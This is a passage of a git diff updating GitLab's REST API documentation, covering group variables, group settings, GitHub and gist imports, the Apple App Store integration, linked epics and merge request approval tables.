https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md index 6ca4cc1d080..f6b47118b5f 100644 --- a/doc/api/group_level_variables.md +++ b/doc/api/group_level_variables.md @@ -93,7 +93,7 @@ POST /groups/:id/variables | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | | `raw` | boolean | no | Whether the variable is expandable | -| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request POST --header "PRIVATE-TOKEN: " \ @@ -129,7 +129,7 @@ PUT /groups/:id/variables/:key | `protected` | boolean | no | Whether the variable is protected | | `masked` | boolean | no | Whether the variable is masked | | `raw` | boolean | no | Whether the variable is expandable | -| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | +| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) of a variable | ```shell curl --request PUT --header "PRIVATE-TOKEN: " \ diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md index a4baf7936dd..a207775cf45 100644 --- a/doc/api/group_repository_storage_moves.md +++ b/doc/api/group_repository_storage_moves.md @@ -239,6 +239,8 @@ Example response: ## Schedule repository storage moves for all groups on a storage shard Schedules repository storage moves for each group repository stored on the source storage shard. +This endpoint migrates all groups at once. For more information, see +[Move all groups](../administration/operations/moving_repositories.md#move-all-groups). ```plaintext POST /group_repository_storage_moves diff --git a/doc/api/groups.md b/doc/api/groups.md index d017876b9c2..0e093759a80 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -217,7 +217,7 @@ GET /groups/:id/descendant_groups { "id": 2, "name": "Bar Group", - "path": "foo/bar", + "path": "bar", "description": "A subgroup of Foo Group", "visibility": "public", "share_with_group_lock": false, @@ -242,7 +242,7 @@ GET /groups/:id/descendant_groups { "id": 3, "name": "Baz Group", - "path": "foo/bar/baz", + "path": "baz", "description": "A subgroup of Bar Group", "visibility": "public", "share_with_group_lock": false, @@ -830,8 +830,8 @@ Parameters: | `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). | | `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. | | `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. | -| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | -| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | +| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | +| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | ### Options for `default_branch_protection` @@ -985,11 +985,11 @@ PUT /groups/:id | `subgroup_creation_level` | string | no | Allowed to [create subgroups](../user/group/subgroups/index.md#create-a-subgroup). Can be `owner` (Owners), or `maintainer` (users with the Maintainer role). | | `two_factor_grace_period` | integer | no | Time before Two-factor authentication is enforced (in hours). | | `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. | -| `extra_shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | +| `extra_shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Additional CI/CD minutes for this group. | | `file_template_project_id` **(PREMIUM)** | integer | no | The ID of a project to load custom file templates from. | | `membership_lock` **(PREMIUM)** | boolean | no | Users cannot be added to projects in this group. | | `prevent_forking_outside_group` **(PREMIUM)** | boolean | no | When enabled, users can **not** fork projects from this group to external namespaces. | -| `shared_runners_minutes_limit` **(PREMIUM)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | +| `shared_runners_minutes_limit` **(PREMIUM SELF)** | integer | no | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this group. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. | | `unique_project_download_limit` **(ULTIMATE)** | integer | no | Maximum number of unique projects a user can download in the specified time period before they are banned. Available only on top-level groups. Default: 0, Maximum: 10,000. | | `unique_project_download_limit_interval_in_seconds` **(ULTIMATE)** | integer | no | Time period during which a user can download a maximum amount of projects before they are banned. Available only on top-level groups. Default: 0, Maximum: 864,000 seconds (10 days). | | `unique_project_download_limit_allowlist` **(ULTIMATE)** | array of strings | no | List of usernames excluded from the unique project download limit. Available only on top-level groups. Default: `[]`, Maximum: 100 usernames. | @@ -1025,7 +1025,7 @@ Example response: "web_url": "http://gitlab.example.com/groups/h5bp", "request_access_enabled": false, "full_name": "Foobar Group", - "full_path": "foo-bar", + "full_path": "h5bp", "file_template_project_id": 1, "parent_id": null, "created_at": "2020-01-15T12:36:29.590Z", @@ -1099,8 +1099,9 @@ The `shared_runners_setting` attribute determines whether shared runners are ena | Value | Description | |-------|-------------------------------------------------------------------------------------------------------------| | `enabled` | Enables shared runners for all projects and subgroups in this group. | -| `disabled_with_override` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | +| `disabled_and_overridable` | Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | | `disabled_and_unoverridable` | Disables shared runners for all projects and subgroups in this group, and prevents subgroups from overriding this setting. | +| `disabled_with_override` | (Deprecated. Use `disabled_and_overridable`) Disables shared runners for all projects and subgroups in this group, but allows subgroups to override this setting. | ### Upload a group avatar @@ -1702,7 +1703,7 @@ DELETE /groups/:id/share/:group_id > Introduced in GitLab 13.4. -### Get group push rules **(PREMIUM)** +### Get group push rules Get the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group. @@ -1745,7 +1746,7 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters: } ``` -### Add group push rule **(PREMIUM)** +### Add group push rule Adds [push rules](../user/group/access_and_permissions.md#group-push-rules) to the specified group. @@ -1792,7 +1793,7 @@ Response: } ``` -### Edit group push rule **(PREMIUM)** +### Edit group push rule Edit push rules for a specified group. @@ -1839,7 +1840,7 @@ Response: } ``` -### Delete group push rule **(PREMIUM)** +### Delete group push rule Deletes the [push rules](../user/group/access_and_permissions.md#group-push-rules) of a group. diff --git a/doc/api/import.md b/doc/api/import.md index 7a1eb4fe8b3..407f1974f7d 100644 --- a/doc/api/import.md +++ b/doc/api/import.md @@ -8,8 +8,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Import repository from GitHub +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups if the namespace or group name specified in `target_namespace` doesn't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken or `target_namespace` is blank. + Import your projects from GitHub to GitLab using the API. +The namespace set in `target_namespace` must exist. The namespace can be your user namespace or an existing group that you have at least the Developer role for. + ```plaintext POST /import/github ``` @@ -18,8 +22,8 @@ POST /import/github |-------------------------|---------|----------|-------------------------------------------------------------------------------------| | `personal_access_token` | string | yes | GitHub personal access token | | `repo_id` | integer | yes | GitHub repository ID | -| `new_name` | string | no | New repository name | -| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup` | +| `new_name` | string | no | New repository name | +| `target_namespace` | string | yes | Namespace to import repository into. Supports subgroups like `/namespace/subgroup`. In GitLab 15.8 and later, must not be blank | | `github_hostname` | string | no | Custom GitHub Enterprise hostname. Do not set for GitHub.com. | | `optional_stages` | object | no | [Additional items to import](../user/project/import/github.md#select-additional-items-to-import). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/373705) in GitLab 15.5 | @@ -116,6 +120,44 @@ Returns the following status codes: - `400 Bad Request`: the project import cannot be canceled. - `404 Not Found`: the project associated with `project_id` does not exist. +## Import GitHub gists into GitLab snippets + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/371099) in GitLab 15.8 [with a flag](../administration/feature_flags.md) named `github_import_gists`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, +ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `github_import_gists`. + +You can use the GitLab API to import personal GitHub gists (with up to 10 files) into personal GitLab snippets. +GitHub gists with more than 10 files are skipped. You should manually migrate these GitHub gists. + +If any gists couldn't be imported, an email is sent with a list of gists that were not imported. + +```plaintext +POST /import/github/gists +``` + +| Attribute | Type | Required | Description | +|------------|---------|----------|---------------------| +| `personal_access_token` | string | yes | GitHub personal access token | + +```shell +curl --request POST \ + --url "https://gitlab.example.com/api/v4/import/github/gists" \ + --header "content-type: application/json" \ + --header "PRIVATE-TOKEN: " \ + --data '{ + "personal_access_token": "" +}' +``` + +Returns the following status codes: + +- `202 Accepted`: the gists import is being started. +- `401 Unauthorized`: user's GitHub personal access token is invalid. +- `422 Unprocessable Entity`: the gists import is already in progress. +- `429 Too Many Requests`: the user has exceeded GitHub's rate limit. + ## Import repository from Bitbucket Server Import your projects from Bitbucket Server to GitLab via the API. diff --git a/doc/api/index.md b/doc/api/index.md index ef054318c5c..8075b667a67 100644 --- a/doc/api/index.md +++ b/doc/api/index.md @@ -59,7 +59,6 @@ month. Major API version changes, and removal of entire API versions, are done i with major GitLab releases. All deprecations and changes between versions are in the documentation. -For the changes between v3 and v4, see the [v3 to v4 documentation](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md). ### Current status diff --git a/doc/api/integrations.md b/doc/api/integrations.md index f6ad095aad6..24e0f189aad 100644 --- a/doc/api/integrations.md +++ b/doc/api/integrations.md @@ -72,6 +72,44 @@ Example response: ] ``` +## Apple App Store + +Use GitLab to build and release an app in the Apple App Store. + +See also the [Apple App Store integration documentation](../user/project/integrations/apple_app_store.md). + +### Create/Edit Apple App Store integration + +Set Apple App Store integration for a project. + +```plaintext +PUT /projects/:id/integrations/apple_app_store +``` + +Parameters: + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `app_store_issuer_id` | string | true | The Apple App Store Connect Issuer ID. | +| `app_store_key_id` | string | true | The Apple App Store Connect Key ID. | +| `app_store_private_key` | string | true | The Apple App Store Connect Private Key. | + +### Disable Apple App Store integration + +Disable the Apple App Store integration for a project. Integration settings are preserved. + +```plaintext +DELETE /projects/:id/integrations/apple_app_store +``` + +### Get Apple App Store integration settings + +Get Apple App Store integration settings for a project. + +```plaintext +GET /projects/:id/integrations/apple_app_store +``` + ## Asana Add commit messages as comments to Asana tasks. diff --git a/doc/api/linked_epics.md b/doc/api/linked_epics.md index 77540f37054..c240b3255c6 100644 --- a/doc/api/linked_epics.md +++ b/doc/api/linked_epics.md @@ -89,10 +89,10 @@ Example response: ## Create a related epic link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. -Create a two-way relation between two epics. The user must be allowed to -update both epics to succeed. +Create a two-way relation between two epics. The user must have at least the Guest role for both groups. ```plaintext POST /groups/:id/epics/:epic_iid/related_epics @@ -208,10 +208,10 @@ Example response: ## Delete a related epic link -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352840) in GitLab 14.10. +> - Minimum required role for the group [changed](https://gitlab.com/gitlab-org/gitlab/-/issues/381308) from Reporter to Guest in GitLab 15.8. -Delete a two-way relation between two epics. The user must be allowed to -update both epics to succeed. +Delete a two-way relation between two epics. The user must have at least the Guest role for both groups. ```plaintext DELETE /groups/:id/epics/:epic_iid/related_epics/:related_epic_link_id diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index d9777b87ff2..12f6ab318c9 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -16,7 +16,8 @@ in the project. Must be authenticated for all endpoints. ### Get Configuration -> Moved to GitLab Premium in 13.9. +> - Moved to GitLab Premium in 13.9. +> - The `approvers` and `approver_groups` fields were deprecated in GitLab 12.3 and always return empty. Use the [project level approval rules](#get-project-level-rules) to access this information. You can request information about a project's approval configuration using the following endpoint: @@ -27,12 +28,14 @@ GET /projects/:id/approvals Supported attributes: -| Attribute | Type | Required | Description | -| --------- | ------- | -------- | ------------------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| Attribute | Type | Required | Description | +|-----------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | ```json { + "approvers": [], // Deprecated in GitLab 12.3, always returns empty + "approver_groups": [], // Deprecated in GitLab 12.3, always returns empty "approvals_before_merge": 2, "reset_approvals_on_push": true, "selective_code_owner_removals": false, @@ -56,16 +59,16 @@ POST /projects/:id/approvals Supported attributes: -| Attribute | Type | Required | Description | -| ------------------------------------------------ | ------- | -------- | -- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. | -| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. | -| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. | -| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. | -| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. | -| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. | -| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. | +| Attribute | Type | Required | Description | +|--------------------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. | +| `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. | +| `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. | +| `merge_requests_disable_committers_approval` | boolean | **{dotted-circle}** No | Allow or prevent committers from self approving merge requests. | +| `require_password_to_approve` | boolean | **{dotted-circle}** No | Require approver to enter a password to authenticate before adding the approval. | +| `reset_approvals_on_push` | boolean | **{dotted-circle}** No | Reset approvals on a new push. | +| `selective_code_owner_removals` | boolean | **{dotted-circle}** No | Reset approvals from Code Owners if their files changed. Can be enabled only if `reset_approvals_on_push` is disabled. | ```json { @@ -97,9 +100,9 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| Attribute | Type | Required | Description | +|-----------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | ```json [ @@ -199,10 +202,10 @@ GET /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|-----------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| Attribute | Type | Required | Description | +|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ```json { @@ -301,18 +304,18 @@ POST /projects/:id/approval_rules Supported attributes: -| Attribute | Type | Required | Description | -|-------------------------------------|-------------------|----------|------------ | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | -| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. | -| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | +| `report_type` | string | **{dotted-circle}** No | The report type required when the rule type is `report_approver`. The supported report types are `license_scanning` and `code_coverage`. | +| `rule_type` | string | **{dotted-circle}** No | The type of rule. `any_approver` is a pre-configured default rule with `approvals_required` at `0`. Other rules are `regular`. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -430,18 +433,18 @@ PUT /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|-------------------------------------|-------------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | -| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `protected_branch_ids` | Array | **{dotted-circle}** No | The IDs of protected branches to scope the rule by. To identify the ID, [use the API](protected_branches.md#list-protected-branches). | +| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -537,10 +540,10 @@ DELETE /projects/:id/approval_rules/:approval_rule_id Supported attributes: -| Attribute | Type | Required | Description | -|--------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | +| Attribute | Type | Required | Description | +|--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ## Merge request-level MR approvals @@ -559,10 +562,10 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -612,11 +615,11 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|-------------------|----------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|----------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -653,10 +656,10 @@ This includes additional information about the users who have already approved Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|-------------------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json { @@ -723,10 +726,10 @@ Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) par Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json [ @@ -800,11 +803,11 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules/:approval_rul Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| Attribute | Type | Required | Description | +|---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | ```json { @@ -876,16 +879,16 @@ POST /projects/:id/merge_requests/:merge_request_iid/approval_rules Supported attributes: -| Attribute | Type | Required | Description | -|----------------------------|---------|----------|------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|----------------------------|-------------------|------------------------|------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `approval_project_rule_id` | integer | **{dotted-circle}** No | The ID of a project-level approval rule. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | **Important:** When `approval_project_rule_id` is set, the `name`, `users` and `groups` of project-level rule are copied. The `approvals_required` specified @@ -966,17 +969,17 @@ These are system generated rules. Supported attributes: -| Attribute | Type | Required | Description | -|----------------------|---------|----------|------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | -| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | -| `name` | string | **{check-circle}** Yes | The name of the approval rule. | -| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | -| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | -| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | -| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | +| Attribute | Type | Required | Description | +|------------------------|-------------------|------------------------|-------------------------------------------------------------------------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | +| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | +| `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | +| `name` | string | **{check-circle}** Yes | The name of the approval rule. | +| `group_ids` | Array | **{dotted-circle}** No | The IDs of groups as approvers. | +| `remove_hidden_groups` | boolean | **{dotted-circle}** No | Whether hidden groups should be removed. | +| `user_ids` | Array | **{dotted-circle}** No | The IDs of users as approvers. | +| `usernames` | string array | **{dotted-circle}** No | The usernames for this rule. | ```json { @@ -1051,11 +1054,11 @@ These are system generated rules. Supported attributes: -| Attribute | Type | Required | Description | -|---------------------|---------|----------|---------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | -| `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | -| `merge_request_iid` | 